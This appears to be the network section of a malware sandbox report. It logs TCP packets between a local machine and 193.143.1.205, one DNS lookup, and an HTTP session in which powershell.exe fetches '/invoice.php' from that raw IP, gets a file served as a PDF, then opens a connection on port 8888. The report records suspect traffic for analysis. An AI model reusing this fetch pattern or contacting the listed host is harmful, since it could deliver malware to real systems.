Jan 10, 2025 20:02:58.465687990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465722084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465734959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465756893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465791941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465826035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465861082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465867996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465867996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.465895891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465930939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465964079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.465987921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.466002941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.466038942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.466073990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.466084957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.466084957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.466109037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.466161966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.466196060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.466234922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.466253042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.466253042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.473772049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.473805904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.473858118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.473886013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.473893881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.473927975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.473963976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.473968983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.473999023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.474039078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.474059105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.474059105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.495662928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.495707035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.495742083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.495749950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.495781898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.495791912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.495847940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.495882034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.495918036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.495920897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.495951891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.495986938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.496026993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.496043921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.496043921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.496059895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.496134996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.501408100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.510409117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.521768093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.521800041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.521851063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.521858931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.521898985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.521931887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.521970034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.521998882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522022963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522022963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522052050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522092104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522108078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522125959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522161961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522214890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522252083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522262096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522262096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522288084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522322893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522370100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522422075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522422075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522427082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522458076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522494078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522524118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522528887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522563934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522600889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522634029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522638083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522670984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.522675037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.522770882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.555536985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555619001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555670977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555682898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.555710077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555763006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555764914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.555799007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555855036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555906057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555939913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.555953979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.555953979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.555975914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556013107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556041002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556049109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556102991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556138039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556143999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556207895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556246996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556296110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556296110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556299925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556339025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556395054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556446075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556482077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556492090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556492090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556514025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556566000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556617022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556651115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556668043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556668043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556694031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556726933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556762934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556814909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556823015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556823015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556850910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556879997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556914091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556950092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.556971073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.556971073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557008982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557064056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557096958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557106972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557132959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557167053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557190895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557200909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557229042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557235003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557271004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557303905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557315111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557341099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557375908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557401896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557410002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557420969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557445049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557480097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557516098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557549953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557563066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557563066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557585955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557619095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557693005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557719946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557727098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557760954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557765007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557797909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557832956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557868958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557885885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557885885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.557904005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557939053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.557971954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558006048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558022976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558022976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558039904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558075905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558109045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558146000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558156013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558156013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558181047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558219910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558254004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558286905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558298111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558298111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558321953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558357000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558389902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558423996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558439016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558439016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558459997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558495998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558527946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558566093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.558585882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.558585882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.566154957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.566204071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.566214085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.566265106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.566301107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.566313982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.566337109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.566374063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.566407919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.566431046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.566443920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.566447020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.588042974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.588097095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.588098049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.588133097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.588166952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.588202000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.588236094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.588255882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.588255882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.588273048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.588306904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.588439941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.614238977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614300966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614300966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.614337921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614373922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614378929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.614411116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614445925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614481926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614490032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.614553928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.614840984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614892006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614953041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.614963055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.614999056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615035057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615061045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.615068913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615103960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615118027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.615154028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615189075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615221977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.615222931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615257978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615291119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.615294933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615336895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.615345955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615382910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.615530014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.639211893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.647692919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.647769928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.647809029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.647823095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.647829056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.647875071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.647881985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.647912025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.647945881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.647978067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.647999048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648034096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648042917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.648068905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648122072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648144960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.648156881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648192883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648226023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.648227930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648262978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648303986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.648365021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648399115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648408890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.648437977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:58.648487091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.762669086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.778995991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:58.931425095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:59.461966991 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:59.466864109 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:02:59.466974974 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:59.467163086 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 20:02:59.471900940 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:03:00.335351944 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:03:00.386137009 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 20:03:02.175991058 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:03:07.543509960 CET	53984	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:03:07.543509960 CET	192.168.2.8	1.1.1.1	0x3553	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:03:07.550618887 CET	1.1.1.1	192.168.2.8	0x3553	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	6796	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:02:57.024421930 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:02:57.838692904 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:02:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 